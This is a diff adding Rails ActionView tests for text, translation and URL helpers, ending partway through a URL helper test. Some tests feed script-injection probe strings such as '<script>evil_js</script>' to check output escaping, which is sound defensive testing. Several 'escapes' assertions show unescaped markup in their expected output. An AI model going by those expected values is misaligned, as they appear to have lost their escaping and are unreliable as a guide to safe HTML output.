+    assert_equal("", excerpt("", "", :radius => 0))
+    assert_equal("a", excerpt("a", "a", :radius => 0))
+    assert_equal("...b...", excerpt("abc", "b", :radius => 0))
+    assert_equal("abc", excerpt("abc", "b", :radius => 1))
+    assert_equal("abc...", excerpt("abcd", "b", :radius => 1))
+    assert_equal("...abc", excerpt("zabc", "b", :radius => 1))
+    assert_equal("...abc...", excerpt("zabcd", "b", :radius => 1))
+    assert_equal("zabcd", excerpt("zabcd", "b", :radius => 2))
+
+    # excerpt strips the resulting string before ap-/prepending excerpt_string.
+    # whether this behavior is meaningful when excerpt_string is not to be
+    # appended is questionable.
+    assert_equal("zabcd", excerpt("  zabcd  ", "b", :radius => 4))
+    assert_equal("...abc...", excerpt("z  abc  d", "b", :radius => 1))
+  end
+
+  def test_excerpt_with_regex
+    assert_equal('...is a beautiful! mor...', excerpt('This is a beautiful! morning', 'beautiful', :radius => 5))
+    assert_equal('...is a beautiful? mor...', excerpt('This is a beautiful? morning', 'beautiful', :radius => 5))
+  end
+
+  def test_excerpt_with_omission
+    assert_equal("[...]is a beautiful morn[...]", excerpt("This is a beautiful morning", "beautiful", :omission => "[...]",:radius => 5))
+    assert_equal(
+      "This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome tempera[...]",
+      excerpt("This is the ultimate supercalifragilisticexpialidoceous very looooooooooooooooooong looooooooooooong beautiful morning with amazing sunshine and awesome temperatures. So what are you gonna do about it?", "very",
+      :omission => "[...]")
+    )
+  end
+
+  def test_excerpt_with_utf8
+    assert_equal("...\357\254\203ciency could not be...".force_encoding(Encoding::UTF_8), excerpt("That's why e\357\254\203ciency could not be helped".force_encoding(Encoding::UTF_8), 'could', :radius => 8))
+  end
+
+  def test_excerpt_does_not_modify_the_options_hash
+    options = { :omission => "[...]",:radius => 5 }
+    passed_options = options.dup
+    excerpt("This is a beautiful morning", "beautiful", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_excerpt_with_separator
+    options = { :separator => ' ', :radius => 1 }
+    assert_equal('...a very beautiful...', excerpt('This is a very beautiful morning', 'very', options))
+    assert_equal('This is...', excerpt('This is a very beautiful morning', 'this', options))
+    assert_equal('...beautiful morning', excerpt('This is a very beautiful morning', 'morning', options))
+
+    options = { :separator => "\n", :radius => 0 }
+    assert_equal("...very long...", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+
+    options = { :separator => "\n", :radius => 1 }
+    assert_equal("...very\nvery long\nstring", excerpt("my very\nvery\nvery long\nstring", 'long', options))
+
+    assert_equal excerpt('This is a beautiful morning', 'a'),
+                 excerpt('This is a beautiful morning', 'a', separator: nil)
+  end
+
+  def test_word_wrap
+    assert_equal("my very very\nvery long\nstring", word_wrap("my very very very long string", :line_width => 15))
+  end
+
+  def test_word_wrap_with_extra_newlines
+    assert_equal("my very very\nvery long\nstring\n\nwith another\nline", word_wrap("my very very very long string\n\nwith another line", :line_width => 15))
+  end
+
+  def test_word_wrap_does_not_modify_the_options_hash
+    options = { :line_width => 15 }
+    passed_options = options.dup
+    word_wrap("some text", passed_options)
+    assert_equal options, passed_options
+  end
+
+  def test_pluralization
+    assert_equal("1 count", pluralize(1, "count"))
+    assert_equal("2 counts", pluralize(2, "count"))
+    assert_equal("1 count", pluralize('1', "count"))
+    assert_equal("2 counts", pluralize('2', "count"))
+    assert_equal("1,066 counts", pluralize('1,066', "count"))
+    assert_equal("1.25 counts", pluralize('1.25', "count"))
+    assert_equal("1.0 count", pluralize('1.0', "count"))
+    assert_equal("1.00 count", pluralize('1.00', "count"))
+    assert_equal("2 counters", pluralize(2, "count", "counters"))
+    assert_equal("0 counters", pluralize(nil, "count", "counters"))
+    assert_equal("2 people", pluralize(2, "person"))
+    assert_equal("10 buffaloes", pluralize(10, "buffalo"))
+    assert_equal("1 berry", pluralize(1, "berry"))
+    assert_equal("12 berries", pluralize(12, "berry"))
+  end
+
+  def test_cycle_class
+    value = Cycle.new("one", 2, "3")
+    assert_equal("one", value.to_s)
+    assert_equal("2", value.to_s)
+    assert_equal("3", value.to_s)
+    assert_equal("one", value.to_s)
+    value.reset
+    assert_equal("one", value.to_s)
+    assert_equal("2", value.to_s)
+    assert_equal("3", value.to_s)
+  end
+
+  def test_cycle_class_with_no_arguments
+    assert_raise(ArgumentError) { Cycle.new }
+  end
+
+  def test_cycle
+    assert_equal("one", cycle("one", 2, "3"))
+    assert_equal("2", cycle("one", 2, "3"))
+    assert_equal("3", cycle("one", 2, "3"))
+    assert_equal("one", cycle("one", 2, "3"))
+    assert_equal("2", cycle("one", 2, "3"))
+    assert_equal("3", cycle("one", 2, "3"))
+  end
+
+  def test_cycle_with_array
+    array = [1, 2, 3]
+    assert_equal("1", cycle(array))
+    assert_equal("2", cycle(array))
+    assert_equal("3", cycle(array))
+  end
+
+  def test_cycle_with_no_arguments
+    assert_raise(ArgumentError) { cycle }
+  end
+
+  def test_cycle_resets_with_new_values
+    assert_equal("even", cycle("even", "odd"))
+    assert_equal("odd", cycle("even", "odd"))
+    assert_equal("even", cycle("even", "odd"))
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3))
+    assert_equal("3", cycle(1, 2, 3))
+    assert_equal("1", cycle(1, 2, 3))
+  end
+
+  def test_named_cycles
+    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("red", cycle("red", "blue", :name => "colors"))
+    assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("blue", cycle("red", "blue", :name => "colors"))
+    assert_equal("3", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("red", cycle("red", "blue", :name => "colors"))
+  end
+
+  def test_current_cycle_with_default_name
+    cycle("even","odd")
+    assert_equal "even", current_cycle
+    cycle("even","odd")
+    assert_equal "odd", current_cycle
+    cycle("even","odd")
+    assert_equal "even", current_cycle
+  end
+
+  def test_current_cycle_with_named_cycles
+    cycle("red", "blue", :name => "colors")
+    assert_equal "red", current_cycle("colors")
+    cycle("red", "blue", :name => "colors")
+    assert_equal "blue", current_cycle("colors")
+    cycle("red", "blue", :name => "colors")
+    assert_equal "red", current_cycle("colors")
+  end
+
+  def test_current_cycle_safe_call
+    assert_nothing_raised { current_cycle }
+    assert_nothing_raised { current_cycle("colors") }
+  end
+
+  def test_current_cycle_with_more_than_two_names
+    cycle(1,2,3)
+    assert_equal "1", current_cycle
+    cycle(1,2,3)
+    assert_equal "2", current_cycle
+    cycle(1,2,3)
+    assert_equal "3", current_cycle
+    cycle(1,2,3)
+    assert_equal "1", current_cycle
+  end
+
+  def test_default_named_cycle
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3, :name => "default"))
+    assert_equal("3", cycle(1, 2, 3))
+  end
+
+  def test_reset_cycle
+    assert_equal("1", cycle(1, 2, 3))
+    assert_equal("2", cycle(1, 2, 3))
+    reset_cycle
+    assert_equal("1", cycle(1, 2, 3))
+  end
+
+  def test_reset_unknown_cycle
+    reset_cycle("colors")
+  end
+
+  def test_reset_named_cycle
+    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("red", cycle("red", "blue", :name => "colors"))
+    reset_cycle("numbers")
+    assert_equal("1", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("blue", cycle("red", "blue", :name => "colors"))
+    assert_equal("2", cycle(1, 2, 3, :name => "numbers"))
+    assert_equal("red", cycle("red", "blue", :name => "colors"))
+  end
+
+  def test_cycle_no_instance_variable_clashes
+    @cycles = %w{Specialized Fuji Giant}
+    assert_equal("red", cycle("red", "blue"))
+    assert_equal("blue", cycle("red", "blue"))
+    assert_equal("red", cycle("red", "blue"))
+    assert_equal(%w{Specialized Fuji Giant}, @cycles)
+  end
+end
diff --git a/actionview/test/template/text_test.rb b/actionview/test/template/text_test.rb
new file mode 100644
index 0000000..d899d54
--- /dev/null
+++ b/actionview/test/template/text_test.rb
@@ -0,0 +1,17 @@
+require 'abstract_unit'
+
+class TextTest < ActiveSupport::TestCase
+  test 'formats returns symbol for recognized MIME type' do
+    assert_equal [:text], ActionView::Template::Text.new('', :text).formats
+  end
+
+  test 'formats returns string for recognized MIME type when MIME does not have symbol' do
+    foo = Mime::Type.lookup("foo")
+    assert_nil foo.to_sym
+    assert_equal ['foo'], ActionView::Template::Text.new('', foo).formats
+  end
+
+  test 'formats returns string for unknown MIME type' do
+    assert_equal ['foo'], ActionView::Template::Text.new('', 'foo').formats
+  end
+end
diff --git a/actionview/test/template/translation_helper_test.rb b/actionview/test/template/translation_helper_test.rb
new file mode 100644
index 0000000..c477084
--- /dev/null
+++ b/actionview/test/template/translation_helper_test.rb
@@ -0,0 +1,154 @@
+require 'abstract_unit'
+
+class TranslationHelperTest < ActiveSupport::TestCase
+  include ActionView::Helpers::TagHelper
+  include ActionView::Helpers::TranslationHelper
+
+  attr_reader :request, :view
+
+  def setup
+    I18n.backend.store_translations(:en,
+      :translations => {
+        :templates => {
+          :found => { :foo => 'Foo' },
+          :array => { :foo => { :bar => 'Foo Bar' } },
+          :default => { :foo => 'Foo' }
+        },
+        :foo => 'Foo',
+        :hello => '<a>Hello World</a>',
+        :html => '<a>Hello World</a>',
+        :hello_html => '<a>Hello World</a>',
+        :interpolated_html => '<a>Hello %{word}</a>',
+        :array_html => %w(foo bar),
+        :array => %w(foo bar),
+        :count_html => {
+          :one   => '<a>One %{count}</a>',
+          :other => '<a>Other %{count}</a>'
+        }
+      }
+    )
+    @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
+  end
+
+  def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
+    I18n.expects(:translate).with(:foo, :locale => 'en', :raise=>true).returns("")
+    translate :foo, :locale => 'en'
+  end
+
+  def test_delegates_localize_to_i18n
+    @time = Time.utc(2008, 7, 8, 12, 18, 38)
+    I18n.expects(:localize).with(@time)
+    localize @time
+  end
+
+  def test_returns_missing_translation_message_wrapped_into_span
+    expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>'
+    assert_equal expected, translate(:"translations.missing")
+    assert_equal true, translate(:"translations.missing").html_safe?
+  end
+
+  def test_returns_missing_translation_message_using_nil_as_rescue_format
+    expected = 'translation missing: en.translations.missing'
+    assert_equal expected, translate(:"translations.missing", :rescue_format => nil)
+    assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
+  end
+
+  def test_raises_missing_translation_message_with_raise_config_option
+    ActionView::Base.raise_on_missing_translations = true
+
+    assert_raise(I18n::MissingTranslationData) do
+      translate("translations.missing")
+    end
+  ensure
+    ActionView::Base.raise_on_missing_translations = false
+  end
+
+  def test_raises_missing_translation_message_with_raise_option
+    assert_raise(I18n::MissingTranslationData) do
+      translate(:"translations.missing", :raise => true)
+    end
+  end
+
+  def test_i18n_translate_defaults_to_nil_rescue_format
+    expected = 'translation missing: en.translations.missing'
+    assert_equal expected, I18n.translate(:"translations.missing")
+    assert_equal false, I18n.translate(:"translations.missing").html_safe?
+  end
+
+  def test_translation_returning_an_array
+    expected = %w(foo bar)
+    assert_equal expected, translate(:"translations.array")
+  end
+
+  def test_finds_translation_scoped_by_partial
+    assert_equal 'Foo', view.render(:file => 'translations/templates/found').strip
+  end
+
+  def test_finds_array_of_translations_scoped_by_partial
+    assert_equal 'Foo Bar', @view.render(:file => 'translations/templates/array').strip
+  end
+
+  def test_default_lookup_scoped_by_partial
+    assert_equal 'Foo', view.render(:file => 'translations/templates/default').strip
+  end
+
+  def test_missing_translation_scoped_by_partial
+    expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing.missing">Missing</span>'
+    assert_equal expected, view.render(:file => 'translations/templates/missing').strip
+  end
+
+  def test_translate_does_not_mark_plain_text_as_safe_html
+    assert_equal false, translate(:'translations.hello').html_safe?
+  end
+
+  def test_translate_marks_translations_named_html_as_safe_html
+    assert translate(:'translations.html').html_safe?
+  end
+
+  def test_translate_marks_translations_with_a_html_suffix_as_safe_html
+    assert translate(:'translations.hello_html').html_safe?
+  end
+
+  def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
+    assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => '<World>')
+    assert_equal '<a>Hello <World></a>', translate(:'translations.interpolated_html', :word => stub(:to_s => "<World>"))
+  end
+
+  def test_translate_with_html_count
+    assert_equal '<a>One 1</a>', translate(:'translations.count_html', :count => 1)
+    assert_equal '<a>Other 2</a>', translate(:'translations.count_html', :count => 2)
+    assert_equal '<a>Other <One></a>', translate(:'translations.count_html', :count => '<One>')
+  end
+
+  def test_translation_returning_an_array_ignores_html_suffix
+    assert_equal ["foo", "bar"], translate(:'translations.array_html')
+  end
+
+  def test_translate_with_default_named_html
+    translation = translate(:'translations.missing', :default => :'translations.hello_html')
+    assert_equal '<a>Hello World</a>', translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_two_defaults_named_html
+    translation = translate(:'translations.missing', :default => [:'translations.missing_html', :'translations.hello_html'])
+    assert_equal '<a>Hello World</a>', translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_last_default_named_html
+    translation = translate(:'translations.missing', :default => [:'translations.missing', :'translations.hello_html'])
+    assert_equal '<a>Hello World</a>', translation
+    assert_equal true, translation.html_safe?
+  end
+
+  def test_translate_with_string_default
+    translation = translate(:'translations.missing', default: 'A Generic String')
+    assert_equal 'A Generic String', translation
+  end
+
+  def test_translate_with_array_of_string_defaults
+    translation = translate(:'translations.missing', default: ['A Generic String', 'Second generic string'])
+    assert_equal 'A Generic String', translation
+  end
+end
diff --git a/actionview/test/template/url_helper_test.rb b/actionview/test/template/url_helper_test.rb
new file mode 100644
index 0000000..7e978e1
--- /dev/null
+++ b/actionview/test/template/url_helper_test.rb
@@ -0,0 +1,798 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'minitest/mock'
+
+class UrlHelperTest < ActiveSupport::TestCase
+
+  # In a few cases, the helper proxies to 'controller'
+  # or request.
+  #
+  # In those cases, we'll set up a simple mock
+  attr_accessor :controller, :request
+
+  cattr_accessor :request_forgery
+  self.request_forgery = false
+
+  routes = ActionDispatch::Routing::RouteSet.new
+  routes.draw do
+    get "/" => "foo#bar"
+    get "/other" => "foo#other"
+    get "/article/:id" => "foo#article", :as => :article
+    get "/category/:category" => "foo#category"
+  end
+
+  include ActionView::Helpers::UrlHelper
+  include routes.url_helpers
+
+  include ActionView::Helpers::JavaScriptHelper
+  include ActionDispatch::Assertions::DomAssertions
+  include ActionView::Context
+  include RenderERBUtils
+
+  setup :_prepare_context
+
+  def hash_for(options = {})
+    { controller: "foo", action: "bar" }.merge!(options)
+  end
+  alias url_hash hash_for
+
+  def test_url_for_does_not_escape_urls
+    assert_equal "/?a=b&c=d", url_for(hash_for(a: :b, c: :d))
+  end
+
+  def test_url_for_with_back
+    referer = 'http://www.example.com/referer'
+    @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
+
+    assert_equal 'http://www.example.com/referer', url_for(:back)
+  end
+
+  def test_url_for_with_back_and_no_referer
+    @controller = Struct.new(:request).new(Struct.new(:env).new({}))
+    assert_equal 'javascript:history.back()', url_for(:back)
+  end
+
+  def test_button_to_with_straight_url
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com")
+  end
+
+  def test_button_to_with_path
+    assert_dom_equal(
+      %{<form method="post" action="/article/Hello" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+      button_to("Hello", article_path("Hello".html_safe))
+    )
+  end
+
+  def test_button_to_with_straight_url_and_request_forgery
+    self.request_forgery = true
+
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></div></form>},
+      button_to("Hello", "http://www.example.com")
+    )
+  ensure
+    self.request_forgery = false
+  end
+
+  def test_button_to_with_form_class
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
+  end
+
+  def test_button_to_with_form_class_escapes
+    assert_dom_equal %{<form method="post" action="http://www.example.com" class="<script>evil_js</script>"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
+  end
+
+  def test_button_to_with_query
+    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
+  end
+
+  def test_button_to_with_html_safe_URL
+    assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2".html_safe)
+  end
+
+  def test_button_to_with_query_and_no_name
+    assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&q2=v2" class="button_to"><div><input type="submit" value="http://www.example.com?q1=v1&q2=v2" /></div></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
+  end
+
+  def test_button_to_with_javascript_confirm
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
+    )
+  end
+
+  def test_button_to_with_javascript_disable_with
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
+    )
+  end
+
+  def test_button_to_with_remote_and_form_options
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><div><input type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
+    )
+  end
+
+  def test_button_to_with_remote_and_javascript_confirm
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
+    )
+  end
+
+  def test_button_to_with_remote_and_javascript_disable_with
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
+    )
+  end
+
+  def test_button_to_with_remote_false
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", remote: false)
+    )
+  end
+
+  def test_button_to_enabled_disabled
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", disabled: false)
+    )
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><input disabled="disabled" type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", disabled: true)
+    )
+  end
+
+  def test_button_to_with_method_delete
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", method: :delete)
+    )
+  end
+
+  def test_button_to_with_method_get
+    assert_dom_equal(
+      %{<form method="get" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
+      button_to("Hello", "http://www.example.com", method: :get)
+    )
+  end
+
+  def test_button_to_with_block
+    assert_dom_equal(
+      %{<form method="post" action="http://www.example.com" class="button_to"><div><button type="submit"><span>Hello</span></button></div></form>},
+      button_to("http://www.example.com") { content_tag(:span, 'Hello') }
+    )
+  end
+
+  def test_button_to_with_params
+    assert_dom_equal(
+      %{<form action="http://www.example.com" class="button_to" method="post"><div><input type="submit" value="Hello" /><input type="hidden" name="foo" value="bar" /><input type="hidden" name="baz" value="quux" /></div></form>},
+      button_to("Hello", "http://www.example.com", params: {foo: :bar, baz: "quux"})
+    )
+  end
+
+  def test_link_tag_with_straight_url
+    assert_dom_equal %{<a href="http://www.example.com">Hello</a>}, link_to("Hello", "http://www.example.com")
+  end
+
+  def test_link_tag_without_host_option
+    assert_dom_equal(%{<a href="/">Test Link</a>}, link_to('Test Link', url_hash))
+  end
+
+  def test_link_tag_with_host_option
+    hash = hash_for(host: "www.example.com")
+    expected = %{<a href="http://www.example.com/">Test Link</a>}
+    assert_dom_equal(expected, link_to('Test Link', hash))
+  end
+
+  def test_link_tag_with_query
+    expected = %{<a href="http://www.example.com?q1=v1&q2=v2">Hello</a>}
+    assert_dom_equal expected, link_to("Hello", "http://www.example.com?q1=v1&q2=v2")
+  end
+
+  def test_link_tag_with_query_and_no_name
+    expected = %{<a href="http://www.example.com?q1=v1&q2=v2">http://www.example.com?q1=v1&q2=v2</a>}
+    assert_dom_equal expected, link_to(nil, "http://www.example.com?q1=v1&q2=v2")
+  end
+
+  def test_link_tag_with_back
+    env = {"HTTP_REFERER" => "http://www.example.com/referer"}
+    @controller = Struct.new(:request).new(Struct.new(:env).new(env))
+    expected = %{<a href="#{env["HTTP_REFERER"]}">go back</a>}
+    assert_dom_equal expected, link_to('go back', :back)
+  end
+
+  def test_link_tag_with_back_and_no_referer
+    @controller = Struct.new(:request).new(Struct.new(:env).new({}))
+    link = link_to('go back', :back)
+    assert_dom_equal %{<a href="javascript:history.back()">go back</a>}, link
+  end
+
+  def test_link_tag_with_img
+    link = link_to("<img src='/favicon.jpg' />".html_safe, "/")
+    expected = %{<a href="/"><img src='/favicon.jpg' /></a>}
+    assert_dom_equal expected, link
+  end
+
+  def test_link_with_nil_html_options
+    link = link_to("Hello", url_hash, nil)
+    assert_dom_equal %{<a href="/">Hello</a>}, link
+  end
+
+  def test_link_tag_with_custom_onclick
+    link = link_to("Hello", "http://www.example.com", onclick: "alert('yay!')")
+    expected = %{<a href="http://www.example.com" onclick="alert('yay!')">Hello</a>}
+    assert_dom_equal expected, link
+  end
+
+  def test_link_tag_with_javascript_confirm
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
+      link_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
+    )
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
+      link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure, can you?" })
+    )
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
+      link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure,\n can you?" })
+    )
+  end
+
+  def test_link_to_with_remote
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-remote="true">Hello</a>},
+      link_to("Hello", "http://www.example.com", remote: true)
+    )
+  end
+
+  def test_link_to_with_remote_false
+    assert_dom_equal(
+      %{<a href="http://www.example.com">Hello</a>},
+      link_to("Hello", "http://www.example.com", remote: false)
+    )
+  end
+
+  def test_link_to_with_symbolic_remote_in_non_html_options
+    assert_dom_equal(
+      %{<a href="/" data-remote="true">Hello</a>},
+      link_to("Hello", hash_for(remote: true), {})
+    )
+  end
+
+  def test_link_to_with_string_remote_in_non_html_options
+    assert_dom_equal(
+      %{<a href="/" data-remote="true">Hello</a>},
+      link_to("Hello", hash_for('remote' => true), {})
+    )
+  end
+
+  def test_link_tag_using_post_javascript
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-method="post" rel="nofollow">Hello</a>},
+      link_to("Hello", "http://www.example.com", method: :post)
+    )
+  end
+
+  def test_link_tag_using_delete_javascript
+    assert_dom_equal(
+      %{<a href="http://www.example.com" rel="nofollow" data-method="delete">Destroy</a>},
+      link_to("Destroy", "http://www.example.com", method: :delete)
+    )
+  end
+
+  def test_link_tag_using_delete_javascript_and_href
+    assert_dom_equal(
+      %{<a href="\#" rel="nofollow" data-method="delete">Destroy</a>},
+      link_to("Destroy", "http://www.example.com", method: :delete, href: '#')
+    )
+  end
+
+  def test_link_tag_using_post_javascript_and_rel
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-method="post" rel="example nofollow">Hello</a>},
+      link_to("Hello", "http://www.example.com", method: :post, rel: 'example')
+    )
+  end
+
+  def test_link_tag_using_post_javascript_and_confirm
+    assert_dom_equal(
+      %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
+      link_to("Hello", "http://www.example.com", method: :post, data: { confirm: "Are you serious?" })
+    )
+  end
+
+  def test_link_tag_using_delete_javascript_and_href_and_confirm
+    assert_dom_equal(
+      %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
+      link_to("Destroy", "http://www.example.com", method: :delete, href: '#', data: { confirm: "Are you serious?" })
+    )
+  end
+
+  def test_link_tag_with_block
+    assert_dom_equal %{<a href="/"><span>Example site</span></a>},
+      link_to('/') { content_tag(:span, 'Example site') }
+  end
+
+  def test_link_tag_with_block_and_html_options
+    assert_dom_equal %{<a class="special" href="/"><span>Example site</span></a>},
+      link_to('/', class: "special") { content_tag(:span, 'Example site') }
+  end
+
+  def test_link_tag_using_block_and_hash
+    assert_dom_equal(
+      %{<a href="/"><span>Example site</span></a>},
+      link_to(url_hash) { content_tag(:span, 'Example site') }
+    )
+  end
+
+  def test_link_tag_using_block_in_erb
+    out = render_erb %{<%= link_to('/') do %>Example site<% end %>}
+    assert_equal '<a href="/">Example site</a>', out
+  end
+
+  def test_link_tag_with_html_safe_string
+    assert_dom_equal(
+      %{<a href="/article/Gerd_M%C3%BCller">Gerd Müller</a>},
+      link_to("Gerd Müller", article_path("Gerd_Müller".html_safe))
+    )
+  end
+
+  def test_link_tag_escapes_content
+    assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
+      link_to("Malicious <script>content</script>", "/")
+  end
+
+  def test_link_tag_does_not_escape_html_safe_content
+    assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
+      link_to("Malicious <script>content</script>".html_safe, "/")
+  end
+
+  def test_link_to_unless
+    assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
+
+    assert_dom_equal %{<a href="/">Listing</a>},
+      link_to_unless(false, "Listing", url_hash)
+
+    assert_equal "<strong>Showing</strong>",
+      link_to_unless(true, "Showing", url_hash) { |name|
+        "<strong>#{name}</strong>".html_safe
+      }
+
+    assert_equal "test",
+      link_to_unless(true, "Showing", url_hash) {
+        "test"
+      }
+
+    assert_equal %{<b>Showing</b>}, link_to_unless(true, "<b>Showing</b>", url_hash)
+    assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, "<b>Showing</b>", url_hash)
+    assert_equal %{<b>Showing</b>}, link_to_unless(true, "<b>Showing</b>".html_safe, url_hash)
+    assert_equal %{<a href="/"><b>Showing</b></a>}, link_to_unless(false, "<b>Showing</b>".html_safe, url_hash)
+  end
+
+  def test_link_to_if
+    assert_equal "Showing", link_to_if(false, "Showing", url_hash)
+    assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash)
+  end
+
+  def request_for_url(url, opts = {})
+    env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts)
+    ActionDispatch::Request.new(env)
+  end
+
+  def test_current_page_with_http_head_method
+    @request = request_for_url("/", :method => :head)
+    assert current_page?(url_hash)
+    assert current_page?("http://www.example.com/")
+  end
+
+  def test_current_page_with_simple_url
+    @request = request_for_url("/")
+    assert current_page?(url_hash)
+    assert current_page?("http://www.example.com/")
+  end
+
+  def test_current_page_ignoring_params
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert current_page?(url_hash)
+    assert current_page?("http://www.example.com/")
+  end
+
+  def test_current_page_with_params_that_match
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert current_page?(hash_for(order: "desc", page: "1"))
+    assert current_page?("http://www.example.com/?order=desc&page=1")
+  end
+
+  def test_current_page_with_not_get_verb
+    @request = request_for_url("/events", method: :post)
+
+    assert !current_page?('/events')
+  end
+
+  def test_current_page_with_escaped_params
+    @request = request_for_url("/category/administra%c3%a7%c3%a3o")
+
+    assert current_page?(controller: 'foo', action: 'category', category: 'administração')
+  end
+
+  def test_current_page_with_escaped_params_with_different_encoding
+    @request = request_for_url("/")
+    @request.stub(:path, "/category/administra%c3%a7%c3%a3o".force_encoding(Encoding::ASCII_8BIT)) do
+      assert current_page?(:controller => 'foo', :action => 'category', category: 'administração')
+      assert current_page?("http://www.example.com/category/administra%c3%a7%c3%a3o")
+    end
+  end
+
+  def test_current_page_with_double_escaped_params
+    @request = request_for_url("/category/administra%c3%a7%c3%a3o?callback_url=http%3a%2f%2fexample.com%2ffoo")
+
+    assert current_page?(controller: 'foo', action: 'category', category: 'administração', callback_url: 'http://example.com/foo')
+  end
+
+  def test_link_unless_current
+    @request = request_for_url("/")
+
+    assert_equal "Showing",
+      link_to_unless_current("Showing", url_hash)
+    assert_equal "Showing",
+      link_to_unless_current("Showing", "http://www.example.com/")
+
+    @request = request_for_url("/?order=desc")
+
+    assert_equal "Showing",
+      link_to_unless_current("Showing", url_hash)
+    assert_equal "Showing",
+      link_to_unless_current("Showing", "http://www.example.com/")
+
+    @request = request_for_url("/?order=desc&page=1")
+
+    assert_equal "Showing",
+      link_to_unless_current("Showing", hash_for(order: 'desc', page: '1'))
+    assert_equal "Showing",
+      link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=1")
+
+    @request = request_for_url("/?order=desc")
+
